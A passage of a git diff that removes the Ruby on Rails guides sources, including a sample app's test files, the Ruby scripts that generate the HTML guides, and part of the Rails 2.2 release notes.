-    <p>We've been notified about this issue and we'll take a look at it shortly.</p>
-  </div>
-</body>
-</html>
diff --git a/railties/guides/code/getting_started/public/robots.txt b/railties/guides/code/getting_started/public/robots.txt
deleted file mode 100644
index 085187fa58..0000000000
--- a/railties/guides/code/getting_started/public/robots.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-# See http://www.robotstxt.org/wc/norobots.html for documentation on how to use the robots.txt file
-#
-# To ban all spiders from the entire site uncomment the next two lines:
-# User-Agent: *
-# Disallow: /
diff --git a/railties/guides/code/getting_started/test/fixtures/posts.yml b/railties/guides/code/getting_started/test/fixtures/posts.yml
deleted file mode 100644
index 8b0f75a33d..0000000000
--- a/railties/guides/code/getting_started/test/fixtures/posts.yml
+++ /dev/null
@@ -1,11 +0,0 @@
-# Read about fixtures at http://api.rubyonrails.org/classes/Fixtures.html
-
-one:
-  name: MyString
-  title: MyString
-  content: MyText
-
-two:
-  name: MyString
-  title: MyString
-  content: MyText
diff --git a/railties/guides/code/getting_started/test/fixtures/tags.yml b/railties/guides/code/getting_started/test/fixtures/tags.yml
deleted file mode 100644
index 8485668908..0000000000
--- a/railties/guides/code/getting_started/test/fixtures/tags.yml
+++ /dev/null
@@ -1,9 +0,0 @@
-# Read about fixtures at http://api.rubyonrails.org/classes/Fixtures.html
-
-one:
-  name: MyString
-  post: 
-
-two:
-  name: MyString
-  post: 
diff --git a/railties/guides/code/getting_started/test/functional/home_controller_test.rb b/railties/guides/code/getting_started/test/functional/home_controller_test.rb
deleted file mode 100644
index 0d9bb47c3e..0000000000
--- a/railties/guides/code/getting_started/test/functional/home_controller_test.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-require 'test_helper'
-
-class HomeControllerTest < ActionController::TestCase
-  test "should get index" do
-    get :index
-    assert_response :success
-  end
-
-end
diff --git a/railties/guides/code/getting_started/test/performance/browsing_test.rb b/railties/guides/code/getting_started/test/performance/browsing_test.rb
deleted file mode 100644
index 3fea27b916..0000000000
--- a/railties/guides/code/getting_started/test/performance/browsing_test.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-require 'test_helper'
-require 'rails/performance_test_help'
-
-class BrowsingTest < ActionDispatch::PerformanceTest
-  # Refer to the documentation for all available options
-  # self.profile_options = { :runs => 5, :metrics => [:wall_time, :memory]
-  #                          :output => 'tmp/performance', :formats => [:flat] }
-
-  def test_homepage
-    get '/'
-  end
-end
diff --git a/railties/guides/code/getting_started/test/test_helper.rb b/railties/guides/code/getting_started/test/test_helper.rb
deleted file mode 100644
index 8bf1192ffe..0000000000
--- a/railties/guides/code/getting_started/test/test_helper.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-ENV["RAILS_ENV"] = "test"
-require File.expand_path('../../config/environment', __FILE__)
-require 'rails/test_help'
-
-class ActiveSupport::TestCase
-  # Setup all fixtures in test/fixtures/*.(yml|csv) for all tests in alphabetical order.
-  #
-  # Note: You'll currently still have to declare fixtures explicitly in integration tests
-  # -- they do not yet inherit this setting
-  fixtures :all
-
-  # Add more helper methods to be used by all tests here...
-end
diff --git a/railties/guides/rails_guides.rb b/railties/guides/rails_guides.rb
deleted file mode 100644
index feb5fe3937..0000000000
--- a/railties/guides/rails_guides.rb
+++ /dev/null
@@ -1,50 +0,0 @@
-pwd = File.dirname(__FILE__)
-$:.unshift pwd
-
-# This is a predicate useful for the doc:guides task of applications.
-def bundler?
-  # Note that rake sets the cwd to the one that contains the Rakefile
-  # being executed.
-  File.exists?('Gemfile')
-end
-
-# Loading Action Pack requires rack and erubis.
-require 'rubygems'
-
-begin
-  # Guides generation in the Rails repo.
-  as_lib = File.join(pwd, "../../activesupport/lib")
-  ap_lib = File.join(pwd, "../../actionpack/lib")
-
-  $:.unshift as_lib if File.directory?(as_lib)
-  $:.unshift ap_lib if File.directory?(ap_lib)
-rescue LoadError
-  # Guides generation from gems.
-  gem "actionpack", '>= 3.0'
-end
-
-begin
-  require 'redcloth'
-rescue Gem::LoadError
-  # This can happen if doc:guides is executed in an application.
-  $stderr.puts('Generating guides requires RedCloth 4.1.1+.')
-  $stderr.puts(<<ERROR) if bundler?
-Please add
-
-  gem 'RedCloth', '~> 4.2'
-
-to the Gemfile, run
-
-  bundle install
-
-and try again.
-ERROR
-
-  exit 1
-end
-
-require "rails_guides/textile_extensions"
-RedCloth.send(:include, RailsGuides::TextileExtensions)
-
-require "rails_guides/generator"
-RailsGuides::Generator.new.generate
diff --git a/railties/guides/rails_guides/generator.rb b/railties/guides/rails_guides/generator.rb
deleted file mode 100644
index 4682ead66e..0000000000
--- a/railties/guides/rails_guides/generator.rb
+++ /dev/null
@@ -1,242 +0,0 @@
-# ---------------------------------------------------------------------------
-#
-# This script generates the guides. It can be invoked either directly or via the
-# generate_guides rake task within the railties directory.
-#
-# Guides are taken from the source directory, and the resulting HTML goes into the
-# output directory. Assets are stored under files, and copied to output/files as
-# part of the generation process.
-#
-# Some arguments may be passed via environment variables:
-#
-#   WARNINGS
-#     If you are writing a guide, please work always with WARNINGS=1. Users can
-#     generate the guides, and thus this flag is off by default.
-#
-#     Internal links (anchors) are checked. If a reference is broken levenshtein
-#     distance is used to suggest an existing one. This is useful since IDs are
-#     generated by Textile from headers and thus edits alter them.
-#
-#     Also detects duplicated IDs. They happen if there are headers with the same
-#     text. Please do resolve them, if any, so guides are valid XHTML.
-#
-#   ALL
-#    Set to "1" to force the generation of all guides.
-#
-#   ONLY
-#     Use ONLY if you want to generate only one or a set of guides. Prefixes are
-#     enough:
-#
-#       # generates only association_basics.html
-#       ONLY=assoc ruby rails_guides.rb
-#
-#     Separate many using commas:
-#
-#       # generates only association_basics.html and migrations.html
-#       ONLY=assoc,migrations ruby rails_guides.rb
-#
-#     Note that if you are working on a guide generation will by default process
-#     only that one, so ONLY is rarely used nowadays.
-#
-#   GUIDES_LANGUAGE
-#     Use GUIDES_LANGUAGE when you want to generate translated guides in
-#     <tt>source/<GUIDES_LANGUAGE></tt> folder (such as <tt>source/es</tt>).
-#     Ignore it when generating English guides.
-#
-#   EDGE
-#     Set to "1" to indicate generated guides should be marked as edge. This
-#     inserts a badge and changes the preamble of the home page.
-#
-# ---------------------------------------------------------------------------
-
-require 'set'
-require 'fileutils'
-
-require 'active_support/core_ext/string/output_safety'
-require 'active_support/core_ext/object/blank'
-require 'action_controller'
-require 'action_view'
-
-require 'rails_guides/indexer'
-require 'rails_guides/helpers'
-require 'rails_guides/levenshtein'
-
-module RailsGuides
-  class Generator
-    attr_reader :guides_dir, :source_dir, :output_dir, :edge, :warnings, :all
-
-    GUIDES_RE = /\.(?:textile|html\.erb)$/
-
-    def initialize(output=nil)
-      @lang = ENV['GUIDES_LANGUAGE']
-      initialize_dirs(output)
-      create_output_dir_if_needed
-      set_flags_from_environment
-    end
-
-    def generate
-      generate_guides
-      copy_assets
-    end
-
-    private
-    def initialize_dirs(output)
-      @guides_dir = File.join(File.dirname(__FILE__), '..')
-      @source_dir = File.join(@guides_dir, "source", @lang.to_s)
-      @output_dir = output || File.join(@guides_dir, "output", @lang.to_s)
-    end
-
-    def create_output_dir_if_needed
-      FileUtils.mkdir_p(output_dir)
-    end
-
-    def set_flags_from_environment
-      @edge     = ENV['EDGE']     == '1'
-      @warnings = ENV['WARNINGS'] == '1'
-      @all      = ENV['ALL']      == '1'
-    end
-
-    def generate_guides
-      guides_to_generate.each do |guide|
-        output_file = output_file_for(guide)
-        generate_guide(guide, output_file) if generate?(guide, output_file)
-      end
-    end
-
-    def guides_to_generate
-      guides = Dir.entries(source_dir).grep(GUIDES_RE)
-      ENV.key?('ONLY') ? select_only(guides) : guides
-    end
-
-    def select_only(guides)
-      prefixes = ENV['ONLY'].split(",").map(&:strip)
-      guides.select do |guide|
-        prefixes.any? {|p| guide.start_with?(p)}
-      end
-    end
-
-    def copy_assets
-      FileUtils.cp_r(Dir.glob("#{guides_dir}/assets/*"), output_dir)
-    end
-
-    def output_file_for(guide)
-      guide.sub(GUIDES_RE, '.html')
-    end
-
-    def generate?(source_file, output_file)
-      fin  = File.join(source_dir, source_file)
-      fout = File.join(output_dir, output_file)
-      all || !File.exists?(fout) || File.mtime(fout) < File.mtime(fin)
-    end
-
-    def generate_guide(guide, output_file)
-      puts "Generating #{output_file}"
-      File.open(File.join(output_dir, output_file), 'w') do |f|
-        view = ActionView::Base.new(source_dir, :edge => edge)
-        view.extend(Helpers)
-
-        if guide =~ /\.html\.erb$/
-          # Generate the special pages like the home.
-          result = view.render(:layout => 'layout', :file => guide)
-        else
-          body = File.read(File.join(source_dir, guide))
-          body = set_header_section(body, view)
-          body = set_index(body, view)
-
-          result = view.render(:layout => 'layout', :text => textile(body))
-
-          warn_about_broken_links(result) if @warnings
-        end
-
-        f.write result
-      end
-    end
-
-    def set_header_section(body, view)
-      new_body = body.gsub(/(.*?)endprologue\./m, '').strip
-      header = $1
-
-      header =~ /h2\.(.*)/
-      page_title = "Ruby on Rails Guides: #{$1.strip}"
-
-      header = textile(header)
-
-      view.content_for(:page_title) { page_title.html_safe }
-      view.content_for(:header_section) { header.html_safe }
-      new_body
-    end
-
-    def set_index(body, view)
-      index = <<-INDEX
-      <div id="subCol">
-        <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
-        <ol class="chapters">
-      INDEX
-
-      i = Indexer.new(body, warnings)
-      i.index
-
-      # Set index for 2 levels
-      i.level_hash.each do |key, value|
-        link = view.content_tag(:a, :href => key[:id]) { textile(key[:title], true).html_safe }
-
-        children = value.keys.map do |k|
-          view.content_tag(:li,
-            view.content_tag(:a, :href => k[:id]) { textile(k[:title], true).html_safe })
-        end
-
-        children_ul = children.empty? ? "" : view.content_tag(:ul, children.join(" ").html_safe)
-
-        index << view.content_tag(:li, link.html_safe + children_ul.html_safe)
-      end
-
-      index << '</ol>'
-      index << '</div>'
-
-      view.content_for(:index_section) { index.html_safe }
-
-      i.result
-    end
-
-    def textile(body, lite_mode=false)
-      t = RedCloth.new(body)
-      t.hard_breaks = false
-      t.lite_mode = lite_mode
-      t.to_html(:notestuff, :plusplus, :code)
-    end
-
-    def warn_about_broken_links(html)
-      anchors = extract_anchors(html)
-      check_fragment_identifiers(html, anchors)
-    end
-
-    def extract_anchors(html)
-      # Textile generates headers with IDs computed from titles.
-      anchors = Set.new
-      html.scan(/<h\d\s+id="([^"]+)/).flatten.each do |anchor|
-        if anchors.member?(anchor)
-          puts "*** DUPLICATE ID: #{anchor}, please put and explicit ID, e.g. h4(#explicit-id), or consider rewording"
-        else
-          anchors << anchor
-        end
-      end
-
-      # Footnotes.
-      anchors += Set.new(html.scan(/<p\s+class="footnote"\s+id="([^"]+)/).flatten)
-      anchors += Set.new(html.scan(/<sup\s+class="footnote"\s+id="([^"]+)/).flatten)
-      return anchors
-    end
-
-    def check_fragment_identifiers(html, anchors)
-      html.scan(/<a\s+href="#([^"]+)/).flatten.each do |fragment_identifier|
-        next if fragment_identifier == 'mainCol' # in layout, jumps to some DIV
-        unless anchors.member?(fragment_identifier)
-          guess = anchors.min { |a, b|
-            Levenshtein.distance(fragment_identifier, a) <=> Levenshtein.distance(fragment_identifier, b)
-          }
-          puts "*** BROKEN LINK: ##{fragment_identifier}, perhaps you meant ##{guess}."
-        end
-      end
-    end
-  end
-end
diff --git a/railties/guides/rails_guides/helpers.rb b/railties/guides/rails_guides/helpers.rb
deleted file mode 100644
index 463df8a7a8..0000000000
--- a/railties/guides/rails_guides/helpers.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-module RailsGuides
-  module Helpers
-    def guide(name, url, options = {}, &block)
-      link = content_tag(:a, :href => url) { name }
-      result = content_tag(:dt, link)
-
-      if options[:work_in_progress]
-        result << content_tag(:dd, 'Work in progress', :class => 'work-in-progress')
-      end
-
-      result << content_tag(:dd, capture(&block))
-      result
-    end
-
-    def author(name, nick, image = 'credits_pic_blank.gif', &block)
-      image = "images/#{image}"
-
-      result = content_tag(:img, nil, :src => image, :class => 'left pic', :alt => name, :width => 91, :height => 91)
-      result << content_tag(:h3, name)
-      result << content_tag(:p, capture(&block))
-      content_tag(:div, result, :class => 'clearfix', :id => nick)
-    end
-
-    def code(&block)
-      c = capture(&block)
-      content_tag(:code, c)
-    end
-  end
-end
diff --git a/railties/guides/rails_guides/indexer.rb b/railties/guides/rails_guides/indexer.rb
deleted file mode 100644
index fb46491817..0000000000
--- a/railties/guides/rails_guides/indexer.rb
+++ /dev/null
@@ -1,69 +0,0 @@
-require 'active_support/core_ext/object/blank'
-require 'active_support/ordered_hash'
-require 'active_support/core_ext/string/inflections'
-
-module RailsGuides
-  class Indexer
-    attr_reader :body, :result, :warnings, :level_hash
-
-    def initialize(body, warnings)
-      @body     = body
-      @result   = @body.dup
-      @warnings = warnings
-    end
-
-    def index
-      @level_hash = process(body)
-    end
-
-    private
-
-    def process(string, current_level=3, counters=[1])
-      s = StringScanner.new(string)
-
-      level_hash = ActiveSupport::OrderedHash.new
-
-      while !s.eos?
-        re = %r{^h(\d)(?:\((#.*?)\))?\s*\.\s*(.*)$}
-        s.match?(re)
-        if matched = s.matched
-          matched =~ re
-          level, idx, title = $1.to_i, $2, $3.strip
-
-          if level < current_level
-            # This is needed. Go figure.
-            return level_hash
-          elsif level == current_level
-            index = counters.join(".")
-            idx ||= '#' + title_to_idx(title)
-
-            raise "Parsing Fail" unless @result.sub!(matched, "h#{level}(#{idx}). #{index} #{title}")
-
-            key = {
-              :title => title,
-              :id => idx
-            }
-            # Recurse
-            counters << 1
-            level_hash[key] = process(s.post_match, current_level + 1, counters)
-            counters.pop
-
-            # Increment the current level
-            last = counters.pop
-            counters << last + 1
-          end
-        end
-        s.getch
-      end
-      level_hash
-    end
-
-    def title_to_idx(title)
-      idx = title.strip.parameterize.sub(/^\d+/, '')
-      if warnings && idx.blank?
-        puts "BLANK ID: please put an explicit ID for section #{title}, as in h5(#my-id)"
-      end
-      idx
-    end
-  end
-end
diff --git a/railties/guides/rails_guides/levenshtein.rb b/railties/guides/rails_guides/levenshtein.rb
deleted file mode 100644
index f99c6e6ba8..0000000000
--- a/railties/guides/rails_guides/levenshtein.rb
+++ /dev/null
@@ -1,31 +0,0 @@
-module RailsGuides
-  module Levenshtein
-    # Based on the pseudocode in http://en.wikipedia.org/wiki/Levenshtein_distance.
-    def self.distance(s1, s2)
-      s = s1.unpack('U*')
-      t = s2.unpack('U*')
-      m = s.length
-      n = t.length
-
-      # matrix initialization
-      d = []
-      0.upto(m) { |i| d << [i] }
-      0.upto(n) { |j| d[0][j] = j }
-
-      # distance computation
-      1.upto(m) do |i|
-        1.upto(n) do |j|
-          cost = s[i] == t[j] ? 0 : 1
-          d[i][j] = [
-            d[i-1][j] + 1,      # deletion
-            d[i][j-1] + 1,      # insertion
-            d[i-1][j-1] + cost, # substitution
-          ].min
-        end
-      end
-
-      # all done
-      return d[m][n]
-    end
-  end
-end
diff --git a/railties/guides/rails_guides/textile_extensions.rb b/railties/guides/rails_guides/textile_extensions.rb
deleted file mode 100644
index 4677fae504..0000000000
--- a/railties/guides/rails_guides/textile_extensions.rb
+++ /dev/null
@@ -1,63 +0,0 @@
-require 'active_support/core_ext/object/inclusion'
-
-module RailsGuides
-  module TextileExtensions
-    def notestuff(body)
-      # The following regexp detects special labels followed by a
-      # paragraph, perhaps at the end of the document.
-      #
-      # It is important that we do not eat more than one newline
-      # because formatting may be wrong otherwise. For example,
-      # if a bulleted list follows the first item is not rendered
-      # as a list item, but as a paragraph starting with a plain
-      # asterisk.
-      body.gsub!(/^(TIP|IMPORTANT|CAUTION|WARNING|NOTE|INFO)[.:](.*?)(\n(?=\n)|\Z)/m) do |m|
-        css_class = case $1
-                    when 'CAUTION', 'IMPORTANT'
-                      'warning'
-                    when 'TIP'
-                      'info'
-                    else
-                      $1.downcase
-                    end
-        %Q(<div class="#{css_class}"><p>#{$2.strip}</p></div>)
-      end
-    end
-
-    def plusplus(body)
-      body.gsub!(/\+(.*?)\+/) do |m|
-        "<notextile><tt>#{$1}</tt></notextile>"
-      end
-
-      # The real plus sign
-      body.gsub!('<plus>', '+')
-    end
-
-    def brush_for(code_type)
-      case code_type
-        when 'ruby', 'sql', 'plain'
-          code_type
-        when 'erb'
-          'ruby; html-script: true'
-        when 'html'
-          'xml' # html is understood, but there are .xml rules in the CSS
-        else
-          'plain'
-      end
-    end
-
-    def code(body)
-      body.gsub!(%r{<(yaml|shell|ruby|erb|html|sql|plain)>(.*?)</\1>}m) do |m|
-        <<HTML
-<notextile>
-<div class="code_container">
-<pre class="brush: #{brush_for($1)}; gutter: false; toolbar: false">
-#{ERB::Util.h($2).strip}
-</pre>
-</div>
-</notextile>
-HTML
-      end
-    end
-  end
-end
diff --git a/railties/guides/source/2_2_release_notes.textile b/railties/guides/source/2_2_release_notes.textile
deleted file mode 100644
index 8e2d528eee..0000000000
--- a/railties/guides/source/2_2_release_notes.textile
+++ /dev/null
@@ -1,422 +0,0 @@
-h2. Ruby on Rails 2.2 Release Notes
-
-Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the "list of commits":http://github.com/rails/rails/commits/master in the main Rails repository on GitHub.
-
-Along with Rails, 2.2 marks the launch of the "Ruby on Rails Guides":http://guides.rubyonrails.org/, the first results of the ongoing "Rails Guides hackfest":http://hackfest.rubyonrails.org/guide. This site will deliver high-quality documentation of the major features of Rails.
-
-endprologue.
-
-h3. Infrastructure
-
-Rails 2.2 is a significant release for the infrastructure that keeps Rails humming along and connected to the rest of the world.
-
-h4. Internationalization
-
-Rails 2.2 supplies an easy system for internationalization (or i18n, for those of you tired of typing).
-
-* Lead Contributors: Rails i18 Team
-* More information :
-** "Official Rails i18 website":http://rails-i18n.org
-** "Finally. Ruby on Rails gets internationalized":http://www.artweb-design.de/2008/7/18/finally-ruby-on-rails-gets-internationalized
-** "Localizing Rails : Demo application":http://github.com/clemens/i18n_demo_app
-
-h4. Compatibility with Ruby 1.9 and JRuby
-
-Along with thread safety, a lot of work has been done to make Rails work well with JRuby and the upcoming Ruby 1.9. With Ruby 1.9 being a moving target, running edge Rails on edge Ruby is still a hit-or-miss proposition, but Rails is ready to make the transition to Ruby 1.9 when the latter is released.
-
-h3. Documentation
-
-The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the "Ruby on Rails Guides":http://guides.rubyonrails.org/ project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:
-
-* "Getting Started with Rails":http://guides.rubyonrails.org/getting_started.html
-* "Rails Database Migrations":http://guides.rubyonrails.org/migrations.html
-* "Active Record Associations":http://guides.rubyonrails.org/association_basics.html
-* "Active Record Query Interface":http://guides.rubyonrails.org/active_record_querying.html
-* "Layouts and Rendering in Rails":http://guides.rubyonrails.org/layouts_and_rendering.html
-* "Action View Form Helpers":http://guides.rubyonrails.org/form_helpers.html
-* "Rails Routing from the Outside In":http://guides.rubyonrails.org/routing.html
-* "Action Controller Overview":http://guides.rubyonrails.org/action_controller_overview.html
-* "Rails Caching":http://guides.rubyonrails.org/caching_with_rails.html
-* "A Guide to Testing Rails Applications":http://guides.rubyonrails.org/testing.html
-* "Securing Rails Applications":http://guides.rubyonrails.org/security.html
-* "Debugging Rails Applications":http://guides.rubyonrails.org/debugging_rails_applications.html
-* "Performance Testing Rails Applications":http://guides.rubyonrails.org/performance_testing.html
-* "The Basics of Creating Rails Plugins":http://guides.rubyonrails.org/plugins.html
-
-All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers.
-
-If you want to generate these guides locally, inside your application:
-
-<ruby>
-rake doc:guides
-</ruby>
-
-This will put the guides inside +Rails.root/doc/guides+ and you may start surfing straight away by opening +Rails.root/doc/guides/index.html+ in your favourite browser.
-
-* Lead Contributors: "Rails Documentation Team":credits.html
-* Major contributions from "Xavier Noria":http://advogato.org/person/fxn/diary.html and "Hongli Lai":http://izumi.plan99.net/blog/.
-* More information:
-** "Rails Guides hackfest":http://hackfest.rubyonrails.org/guide
-** "Help improve Rails documentation on Git branch":http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch
-
-h3. Better integration with HTTP : Out of the box ETag support
-
-Supporting the etag and last modified timestamp in HTTP headers means that Rails can now send back an empty response if it gets a request for a resource that hasn't been modified lately. This allows you to check whether a response needs to be sent at all.
-
-<ruby>
-class ArticlesController < ApplicationController
-  def show_with_respond_to_block
-    @article = Article.find(params[:id])
-
-    # If the request sends headers that differs from the options provided to stale?, then
-    # the request is indeed stale and the respond_to block is triggered (and the options
-    # to the stale? call is set on the response).
-    #
-    # If the request headers match, then the request is fresh and the respond_to block is
-    # not triggered. Instead the default render will occur, which will check the last-modified
-    # and etag headers and conclude that it only needs to send a "304 Not Modified" instead
-    # of rendering the template.
-    if stale?(:last_modified => @article.published_at.utc, :etag => @article)
-      respond_to do |wants|
-        # normal response processing
-      end
-    end
-  end
-
-  def show_with_implied_render
-    @article = Article.find(params[:id])
-
-    # Sets the response headers and checks them against the request, if the request is stale
-    # (i.e. no match of either etag or last-modified), then the default render of the template happens.
-    # If the request is fresh, then the default render will return a "304 Not Modified"
-    # instead of rendering the template.
-    fresh_when(:last_modified => @article.published_at.utc, :etag => @article)
-  end
-end
-</ruby>
-
-h3. Thread Safety
-
-The work done to make Rails thread-safe is rolling out in Rails 2.2. Depending on your web server infrastructure, this means you can handle more requests with fewer copies of Rails in memory, leading to better server performance and higher utilization of multiple cores.
-
-To enable multithreaded dispatching in production mode of your application, add the following line in your +config/environments/production.rb+:
-
-<ruby>
-config.threadsafe!
-</ruby>
-
-* More information :
-** "Thread safety for your Rails":http://m.onkey.org/2008/10/23/thread-safety-for-your-rails
-** "Thread safety project announcement":http://weblog.rubyonrails.org/2008/8/16/josh-peek-officially-joins-the-rails-core
-** "Q/A: What Thread-safe Rails Means":http://blog.headius.com/2008/08/qa-what-thread-safe-rails-means.html
-
-h3. Active Record
-
-There are two big additions to talk about here: transactional migrations and pooled database transactions. There's also a new (and cleaner) syntax for join table conditions, as well as a number of smaller improvements.
-
-h4. Transactional Migrations
-
-Historically, multiple-step Rails migrations have been a source of trouble. If something went wrong during a migration, everything before the error changed the database and everything after the error wasn't applied. Also, the migration version was stored as having been executed, which means that it couldn't be simply rerun by +rake db:migrate:redo+ after you fix the problem. Transactional migrations change this by wrapping migration steps in a DDL transaction, so that if any of them fail, the entire migration is undone. In Rails 2.2, transactional migrations are supported on PostgreSQL out of the box. The code is extensible to other database types in the future - and IBM has already extended it to support the DB2 adapter.
-
-* Lead Contributor: "Adam Wiggins":http://adam.blog.heroku.com/
-* More information:
-** "DDL Transactions":http://adam.blog.heroku.com/past/2008/9/3/ddl_transactions/
-** "A major milestone for DB2 on Rails":http://db2onrails.com/2008/11/08/a-major-milestone-for-db2-on-rails/
-
-h4. Connection Pooling
-
-Connection pooling lets Rails distribute database requests across a pool of database connections that will grow to a maximum size (by default 5, but you can add a +pool+ key to your +database.yml+ to adjust this). This helps remove bottlenecks in applications that support many concurrent users. There's also a +wait_timeout+ that defaults to 5 seconds before giving up. +ActiveRecord::Base.connection_pool+ gives you direct access to the pool if you need it.
-
-<ruby>
-development:
-  adapter: mysql
-  username: root
-  database: sample_development
-  pool: 10
-  wait_timeout: 10
-</ruby>
-
-* Lead Contributor: "Nick Sieger":http://blog.nicksieger.com/
-* More information:
-** "What's New in Edge Rails: Connection Pools":http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-connection-pools
-
-h4. Hashes for Join Table Conditions
-
-You can now specify conditions on join tables using a hash. This is a big help if you need to query across complex joins.
-
-<ruby>
-class Photo < ActiveRecord::Base
-  belongs_to :product
-end
-
-class Product < ActiveRecord::Base
-  has_many :photos
-end
-
-# Get all products with copyright-free photos:
-Product.all(:joins => :photos, :conditions => { :photos => { :copyright => false }})
-</ruby>
-
-* More information:
-** "What's New in Edge Rails: Easy Join Table Conditions":http://ryandaigle.com/articles/2008/7/7/what-s-new-in-edge-rails-easy-join-table-conditions
-
-h4. New Dynamic Finders
-
-Two new sets of methods have been added to Active Record's dynamic finders family.
-
-h5. +find_last_by_<em>attribute</em>+
-
-The +find_last_by_<em>attribute</em>+ method is equivalent to +Model.last(:conditions => {:attribute => value})+
-
-<ruby>
-# Get the last user who signed up from London
-User.find_last_by_city('London')
-</ruby>
-
-* Lead Contributor: "Emilio Tagua":http://www.workingwithrails.com/person/9147-emilio-tagua
-
-h5. +find_by_<em>attribute</em>!+
-
-The new bang! version of +find_by_<em>attribute</em>!+ is equivalent to +Model.first(:conditions => {:attribute => value}) || raise ActiveRecord::RecordNotFound+ Instead of returning +nil+ if it can't find a matching record, this method will raise an exception if it cannot find a match.
-
-<ruby>
-# Raise ActiveRecord::RecordNotFound exception if 'Moby' hasn't signed up yet!
-User.find_by_name!('Moby')
-</ruby>
-
-* Lead Contributor: "Josh Susser":http://blog.hasmanythrough.com
-
-h4. Associations Respect Private/Protected Scope
-
-Active Record association proxies now respect the scope of methods on the proxied object. Previously (given User has_one :account) +@user.account.private_method+ would call the private method on the associated Account object. That fails in Rails 2.2; if you need this functionality, you should use +@user.account.send(:private_method)+ (or make the method public instead of private or protected). Please note that if you're overriding +method_missing+, you should also override +respond_to+ to match the behavior in order for associations to function normally.
-
-* Lead Contributor: Adam Milligan
-* More information:
-** "Rails 2.2 Change: Private Methods on Association Proxies are Private":http://afreshcup.com/2008/10/24/rails-22-change-private-methods-on-association-proxies-are-private/
-
-h4. Other ActiveRecord Changes
-
-* +rake db:migrate:redo+ now accepts an optional VERSION to target that specific migration to redo
-* Set +config.active_record.timestamped_migrations = false+ to have migrations with numeric prefix instead of UTC timestamp.
-* Counter cache columns (for associations declared with +:counter_cache => true+) do not need to be initialized to zero any longer.
-* +ActiveRecord::Base.human_name+ for an internationalization-aware humane translation of model names
-
-h3. Action Controller
-
-On the controller side, there are several changes that will help tidy up your routes. There are also some internal changes in the routing engine to lower memory usage on complex applications.
-
-h4. Shallow Route Nesting
-
-Shallow route nesting provides a solution to the well-known difficulty of using deeply-nested resources. With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with.
-
-<ruby>
-map.resources :publishers, :shallow => true do |publisher|
-  publisher.resources :magazines do |magazine|
-    magazine.resources :photos
-  end
-end
-</ruby>
-
-This will enable recognition of (among others) these routes:
-
-<ruby>
-/publishers/1           ==> publisher_path(1)
-/publishers/1/magazines ==> publisher_magazines_path(1)
-/magazines/2            ==> magazine_path(2)
-/magazines/2/photos     ==> magazines_photos_path(2)
-/photos/3               ==> photo_path(3)
-</ruby>
-
-* Lead Contributor: "S. Brent Faulkner":http://www.unwwwired.net/
-* More information:
-** "Rails Routing from the Outside In":http://guides.rubyonrails.org/routing.html#_nested_resources
-** "What's New in Edge Rails: Shallow Routes":http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-shallow-routes
-
-h4. Method Arrays for Member or Collection Routes
-
-You can now supply an array of methods for new member or collection routes. This removes the annoyance of having to define a route as accepting any verb as soon as you need it to handle more than one. With Rails 2.2, this is a legitimate route declaration:
-
-<ruby>
-map.resources :photos, :collection => { :search => [:get, :post] }
-</ruby>
-
-* Lead Contributor: "Brennan Dunn":http://brennandunn.com/
-
-h4. Resources With Specific Actions
-
-By default, when you use +map.resources+ to create a route, Rails generates routes for seven default actions (index, show, create, new, edit, update, and destroy). But each of these routes takes up memory in your application, and causes Rails to generate additional routing logic. Now you can use the +:only+ and +:except+ options to fine-tune the routes that Rails will generate for resources. You can supply a single action, an array of actions, or the special +:all+ or +:none+ options. These options are inherited by nested resources.
-
-<ruby>
-map.resources :photos, :only => [:index, :show]
-map.resources :products, :except => :destroy
-</ruby>
-
-* Lead Contributor: "Tom Stuart":http://experthuman.com/
-
-h4. Other Action Controller Changes
-
-* You can now easily "show a custom error page":http://m.onkey.org/2008/7/20/rescue-from-dispatching for exceptions raised while routing a request.
-* The HTTP Accept header is disabled by default now. You should prefer the use of formatted URLs (such as +/customers/1.xml+) to indicate the format that you want. If you need the Accept headers, you can turn them back on with +config.action_controller.use_accept_header = true+.
-* Benchmarking numbers are now reported in milliseconds rather than tiny fractions of seconds
-* Rails now supports HTTP-only cookies (and uses them for sessions), which help mitigate some cross-site scripting risks in newer browsers.
-* +redirect_to+ now fully supports URI schemes (so, for example, you can redirect to a svn+ssh: URI).
-* +render+ now supports a +:js+ option to render plain vanilla JavaScript with the right mime type.
-* Request forgery protection has been tightened up to apply to HTML-formatted content requests only.
-* Polymorphic URLs behave more sensibly if a passed parameter is nil. For example, calling +polymorphic_path([@project, @date, @area])+ with a nil date will give you +project_area_path+.
-
-h3. Action View
-
-* +javascript_include_tag+ and +stylesheet_link_tag+ support a new +:recursive+ option to be used along with +:all+, so that you can load an entire tree of files with a single line of code.
-* The included Prototype JavaScript library has been upgraded to version 1.6.0.3.
-* +RJS#page.reload+ to reload the browser's current location via JavaScript
-* The +atom_feed+ helper now takes an +:instruct+ option to let you insert XML processing instructions.
-
-h3. Action Mailer
-
-Action Mailer now supports mailer layouts. You can make your HTML emails as pretty as your in-browser views by supplying an appropriately-named layout - for example, the +CustomerMailer+ class expects to use +layouts/customer_mailer.html.erb+.
-
-* More information:
-** "What's New in Edge Rails: Mailer Layouts":http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-mailer-layouts
-
-Action Mailer now offers built-in support for GMail's SMTP servers, by turning on STARTTLS automatically. This requires Ruby 1.8.7 to be installed.
-
-h3. Active Support
-
-Active Support now offers built-in memoization for Rails applications, the +each_with_object+ method, prefix support on delegates, and various other new utility methods.
-
-h4. Memoization
-
-Memoization is a pattern of initializing a method once and then stashing its value away for repeat use. You've probably used this pattern in your own applications:
-
-<ruby>
-def full_name
-  @full_name ||= "#{first_name} #{last_name}"
-end
-</ruby>
-
